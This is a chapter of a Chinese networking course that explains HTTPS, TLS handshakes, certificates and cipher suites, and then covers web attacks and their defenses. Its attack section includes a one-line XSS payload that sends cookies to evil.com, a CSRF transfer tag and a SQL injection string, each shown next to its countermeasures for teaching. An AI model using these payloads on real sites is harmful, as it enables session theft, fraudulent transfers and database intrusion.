跳到主要内容
预计阅读 26 分钟

HTTPS 与网络安全 — 给数据穿上防弹衣

互联网诞生时，数据在网络上几乎是”裸奔”的。如今，从银行转账到聊天消息，HTTPS 为我们的网络通信提供了一层坚固的加密保护。理解它的工作原理，不仅关系到安全意识，更是每个开发者的必备技能。

📋 开篇自测：你已经知道多少？

  1. 对称加密和非对称加密各自的优缺点是什么？HTTPS 为什么同时使用两者？
  2. TLS 握手的过程中，客户端和服务器交换了哪些信息？
  3. 数字证书是怎么防止中间人攻击的？证书链的验证过程是怎样的？

一、为什么需要 HTTPS

1.1 HTTP 的三大安全隐患

HTTP 以明文传输数据，面临三个严重的安全问题：

1. 窃听（Eavesdropping）-- 机密性问题
   客户端 ----[明文数据]----> 服务器
                  ^
                  | 攻击者可以截获并读取所有数据
                  | (密码、信用卡号、聊天记录...)

2. 篡改（Tampering）-- 完整性问题
   客户端 ----[转账100元]----> 攻击者修改 ---[转账10000元]----> 服务器
   接收方无法发现数据被改过

3. 冒充（Impersonation）-- 身份验证问题
   客户端 ----[以为连的是银行]----> 实际上是钓鱼网站
   客户端无法验证服务器的真实身份

1.2 HTTPS = HTTP + TLS

HTTPS 并不是一个新协议，而是在 HTTP 和 TCP 之间加了一层 TLS（Transport Layer Security）协议：

HTTP 协议栈:              HTTPS 协议栈:
+----------+             +----------+
|   HTTP   |             |   HTTP   |
+----------+             +----------+
|   TCP    |             |   TLS    |  <-- 新增的安全层
+----------+             +----------+
|   IP     |             |   TCP    |
+----------+             +----------+
                         |   IP     |
                         +----------+

TLS 提供三大安全保障:
1. 加密（Encryption）    -- 数据不可被窃听
2. 完整性（Integrity）   -- 数据不可被篡改
3. 认证（Authentication）-- 确认对方身份

二、加密基础

2.1 对称加密

发送方和接收方使用同一把密钥加密和解密：

对称加密过程:
                  共享密钥 K
                 /          \
发送方: 明文 --[K加密]--> 密文 --传输--> 密文 --[K解密]--> 明文 :接收方

常见算法:
- AES-128/256: 当前最主流，高效安全
- ChaCha20:    Google 提出，移动设备性能更好

优点: 加解密速度快，适合大量数据
缺点: 密钥如何安全地传递给对方？（密钥分发问题）

2.2 非对称加密

使用一对密钥：公钥加密，私钥解密。公钥可以公开，私钥只有自己持有：

非对称加密过程:

服务器持有: 公钥(public)  + 私钥(private)
公钥公开给所有人

加密: 客户端用服务器的公钥加密 --> 只有服务器的私钥能解密
     明文 --[公钥加密]--> 密文 --传输--> 密文 --[私钥解密]--> 明文

签名: 服务器用私钥签名 --> 任何人用公钥验证
     数据 --[私钥签名]--> 签名 --传输--> 签名 --[公钥验证]--> 合法/非法

常见算法:
- RSA:    基于大数分解难题，经典算法
- ECDHE:  基于椭圆曲线，密钥更短，性能更好

优点: 解决了密钥分发问题
缺点: 计算速度比对称加密慢 100-1000 倍

2.3 混合加密

HTTPS 结合两者的优点：用非对称加密交换密钥，用对称加密传输数据：

HTTPS 的混合加密策略:

阶段1: 非对称加密交换对称密钥
  客户端 --[用服务器公钥加密"对称密钥种子"]--> 服务器
  双方协商出一个对称密钥

阶段2: 对称加密传输实际数据
  客户端 <==[对称密钥加密的HTTP数据]==> 服务器
  (速度快，适合大量数据传输)

2.4 摘要算法

用于验证数据完整性——对任意长度的数据生成固定长度的”指纹”：

摘要算法（哈希函数）:
输入: "Hello World"  --> SHA-256 --> a591a6d40bf420404a...  (固定64字符)
输入: "Hello World!" --> SHA-256 --> 7f83b1657ff1fc53b9...  (完全不同!)

特点:
- 不可逆: 无法从摘要还原原始数据
- 抗碰撞: 几乎不可能找到两个不同输入产生相同摘要
- 雪崩效应: 输入微小变化导致输出巨大变化

常见算法: SHA-256, SHA-384, SHA-512
已不安全: MD5, SHA-1 (已被攻破，请勿用于安全场景)

🤔 想一想 如果只用非对称加密传输所有 HTTP 数据，虽然安全，但性能会下降多少？这就是为什么需要混合加密。

三、数字证书与 CA 体系

3.1 证书解决什么问题

非对称加密有一个前提：客户端必须拿到服务器真正的公钥。如果攻击者冒充服务器发送自己的公钥，就能实施中间人攻击：

中间人攻击(没有证书时):

客户端 <------ 攻击者(冒充服务器) ------> 真正的服务器
  |                    |                        |
  | "请给我你的公钥"    |                        |
  | -----------------> |                        |
  |  攻击者的公钥       |                        |
  | <----------------- |                        |
  |                    | "请给我你的公钥"         |
  |                    | ---------------------> |
  |                    |  服务器的真实公钥        |
  |                    | <--------------------- |
  | 客户端用攻击者的公钥加密                      |
  | 攻击者解密、窃取、再用服务器公钥重新加密转发    |

3.2 数字证书的结构

数字证书就像网站的”身份证”，由受信任的 CA（Certificate Authority，证书颁发机构） 签发：

数字证书包含的信息:
+---------------------------------------------+
| 证书版本: v3                                  |
| 序列号: 04:AB:CD:EF:...                      |
| 签名算法: SHA256withRSA                       |
| 颁发者: DigiCert Global Root CA              |
| 有效期: 2025-01-01 ~ 2026-12-31             |
| 使用者: www.example.com                      |
| 公钥: 30 82 01 0a 02 82 01 01 ...          |
| 扩展信息:                                    |
|   - Subject Alternative Names (SAN)         |
|   - Key Usage                               |
+---------------------------------------------+
| CA 的数字签名（用 CA 私钥签的）                |
+---------------------------------------------+

3.3 证书链的验证过程

证书链（Chain of Trust）:

根证书 (Root CA)          -- 预装在操作系统/浏览器中，自签名
      |
      | 签发
      v
中间证书 (Intermediate CA) -- 由根 CA 签发
      |
      | 签发
      v
服务器证书 (End-Entity)    -- 由中间 CA 签发，绑定域名和公钥


浏览器验证过程:
1. 服务器发送: [服务器证书] + [中间证书]
2. 浏览器检查服务器证书:
   - 域名是否匹配？
   - 是否在有效期内？
   - 用中间证书的公钥验证签名 --> 合法
3. 浏览器检查中间证书:
   - 用根证书的公钥验证签名 --> 合法
4. 根证书在浏览器的"受信任根证书列表"中
5. 整条链验证通过 --> 信任服务器的公钥

3.4 证书类型

类型验证级别特点适用场景
DV（Domain Validation）仅验证域名所有权几分钟签发，免费/低价个人网站、博客
OV（Organization Validation）验证组织真实性需要人工审核企业网站
EV（Extended Validation）严格验证组织身份地址栏显示公司名银行、金融机构

Let’s Encrypt 提供免费的 DV 证书，极大推动了 HTTPS 的普及。

四、TLS 握手过程

4.1 TLS 1.2 握手

客户端                                         服务器
  |                                              |
  |  1. ClientHello                              |
  |  - 支持的TLS版本                              |
  |  - 支持的密码套件列表                          |
  |  - 客户端随机数(Client Random)                |
  | -------------------------------------------> |
  |                                              |
  |  2. ServerHello                              |
  |  - 选定的TLS版本                              |
  |  - 选定的密码套件                              |
  |  - 服务端随机数(Server Random)                |
  |  3. Certificate (服务器证书+中间证书)          |
  |  4. ServerKeyExchange (ECDHE参数)            |
  |  5. ServerHelloDone                          |
  | <------------------------------------------- |
  |                                              |
  |  客户端验证证书                                |
  |  6. ClientKeyExchange (ECDHE客户端参数)       |
  |  7. ChangeCipherSpec  "后面开始加密"           |
  |  8. Finished (加密的验证数据)                  |
  | -------------------------------------------> |
  |                                              |
  |  9. ChangeCipherSpec                         |
  |  10. Finished (加密的验证数据)                 |
  | <------------------------------------------- |
  |                                              |
  |  ========= 加密通信开始 =========              |
  |  Application Data (HTTP请求/响应)             |
  | <==========================================> |

共需: 3-RTT (TCP握手 1 个 RTT + TLS握手 2 个 RTT)

4.2 TLS 1.3 的改进

TLS 1.3 大幅简化了握手过程：

TLS 1.3 握手 (1-RTT):

客户端                                         服务器
  |  ClientHello + KeyShare                     |
  |  (一次性发送密钥交换参数)                     |
  | -------------------------------------------> |
  |                                              |
  |  ServerHello + KeyShare                      |
  |  Certificate + Finished                      |
  | <------------------------------------------- |
  |                                              |
  |  Finished                                    |
  | -------------------------------------------> |
  |                                              |
  |  ========= 加密通信开始 =========              |

TLS 1.3 改进:
- 握手减少为 1-RTT（TLS 1.2 需要 2-RTT）
- 0-RTT 恢复: 曾经连接过的服务器，可以在握手同时发送数据
- 移除不安全的算法: RC4, DES, MD5, SHA-1 等全部被淘汰
- 只保留前向安全的密钥交换: ECDHE 和 DHE

4.3 密码套件

TLS 使用的算法组合称为密码套件（Cipher Suite）：

TLS 1.2 密码套件示例:
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
 |    |     |        |    |       |
 |    |     |        |    |       +-- 摘要算法(HMAC)
 |    |     |        |    +-- 加密模式(GCM=认证加密)
 |    |     |        +-- 对称加密算法(AES-256)
 |    |     +-- 认证算法(RSA证书)
 |    +-- 密钥交换算法(椭圆曲线DH)
 +-- 协议

TLS 1.3 简化为:
TLS_AES_256_GCM_SHA384
(密钥交换固定为ECDHE，证书算法由证书决定)

🤔 想一想 什么是”前向安全”（Forward Secrecy）？如果服务器的私钥泄露了，之前使用 ECDHE 加密的通信记录能被解密吗？

五、常见网络攻击与防御

5.1 中间人攻击（MITM）

攻击方式: 攻击者在通信双方之间充当"透明代理"
防御手段:
- HTTPS + 证书验证
- HSTS (HTTP Strict Transport Security): 强制浏览器使用HTTPS
  Header: Strict-Transport-Security: max-age=31536000; includeSubDomains

5.2 跨站脚本攻击（XSS）

攻击方式: 在网页中注入恶意 JavaScript 代码
  用户输入: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

防御手段:
- 输出编码: 对用户输入进行 HTML 实体转义
- CSP (Content Security Policy): 限制脚本来源
  Header: Content-Security-Policy: script-src 'self'
- Cookie 设置 HttpOnly: JavaScript 无法读取 Cookie

5.3 跨站请求伪造（CSRF）

攻击方式: 利用用户已登录的身份，在其他网站发起请求
  用户已登录 bank.com
  攻击者在 evil.com 嵌入: <img src="https://bank.com/transfer?to=attacker&amount=10000">
  浏览器自动带上 bank.com 的 Cookie!

防御手段:
- CSRF Token: 每个表单包含随机令牌，服务端验证
- SameSite Cookie: Cookie 设置 SameSite=Strict 或 Lax
- 检查 Referer/Origin 头部

5.4 SQL 注入

攻击方式: 在输入中嵌入 SQL 代码
  用户名输入: admin' OR '1'='1' --
  拼接后SQL: SELECT * FROM users WHERE username='admin' OR '1'='1' --'

防御手段:
- 参数化查询（Prepared Statements）: 绝不拼接 SQL
- ORM 框架自带防注入
- 最小权限原则: 数据库用户只授予必要权限

5.5 DDoS 攻击

攻击方式: 用大量请求淹没目标服务器
  - SYN Flood: 发送大量 SYN 但不完成握手
  - HTTP Flood: 发送大量看似正常的 HTTP 请求
  - DNS Amplification: 利用 DNS 放大流量

防御手段:
- CDN 吸收流量
- 速率限制（Rate Limiting）
- SYN Cookie: 不为半连接分配资源
- Web 应用防火墙（WAF）

六、HTTPS 部署最佳实践

HTTPS 部署清单:

1. 证书配置
   [ ] 使用知名 CA 签发的证书（推荐 Let's Encrypt）
   [ ] 配置完整的证书链（服务器证书 + 中间证书）
   [ ] 设置自动续期（证书过期是最常见的故障原因）

2. TLS 配置
   [ ] 优先使用 TLS 1.3，最低 TLS 1.2
   [ ] 禁用不安全的密码套件（RC4, DES, 3DES）
   [ ] 启用 ECDHE 实现前向安全

3. HTTP 头部安全
   [ ] HSTS: 强制 HTTPS
   [ ] CSP: 内容安全策略
   [ ] X-Content-Type-Options: nosniff
   [ ] X-Frame-Options: DENY 或 SAMEORIGIN

4. 重定向
   [ ] HTTP 80 端口 301 重定向到 HTTPS 443
   [ ] 避免混合内容（HTTPS 页面加载 HTTP 资源）

七、章节小结

  1. HTTPS = HTTP + TLS，解决了 HTTP 明文传输面临的窃听、篡改和冒充三大安全问题。
  2. 混合加密：非对称加密用于密钥交换（安全但慢），对称加密用于数据传输（快速高效）。
  3. 数字证书通过 CA 签名建立信任链，防止公钥被伪造，从而抵御中间人攻击。
  4. TLS 1.3 相比 1.2 更安全、更快速，握手从 2-RTT 减少到 1-RTT，并支持 0-RTT 恢复。
  5. 常见攻击（XSS、CSRF、SQL 注入、DDoS）各有针对性的防御手段，安全是一个系统性工程。

📝 结尾自测：检验你的收获

  1. 解释 HTTPS 的混合加密策略：为什么不直接全程使用非对称加密？
  2. 数字证书的验证过程是怎样的？浏览器如何判断一个证书是否可信？
  3. TLS 1.2 和 TLS 1.3 的握手过程有什么不同？1.3 做了哪些优化？
  4. 什么是前向安全（Forward Secrecy）？为什么 ECDHE 密钥交换提供了前向安全性？
  5. 请分别用一句话说明 XSS、CSRF 和 SQL 注入的攻击原理和核心防御手段。

下一章预告：安全是基础，但用户最直观的感受是”快不快”。下一章我们将从网络层面系统讲解 Web 性能优化——CDN 如何把内容搬到用户身边、四层和七层负载均衡的差异、连接池复用、WebSocket 实时通信，以及核心性能指标的监控体系。

购买课程解锁全部内容

网络通信第一课：10 章掌握计算机网络

¥29.90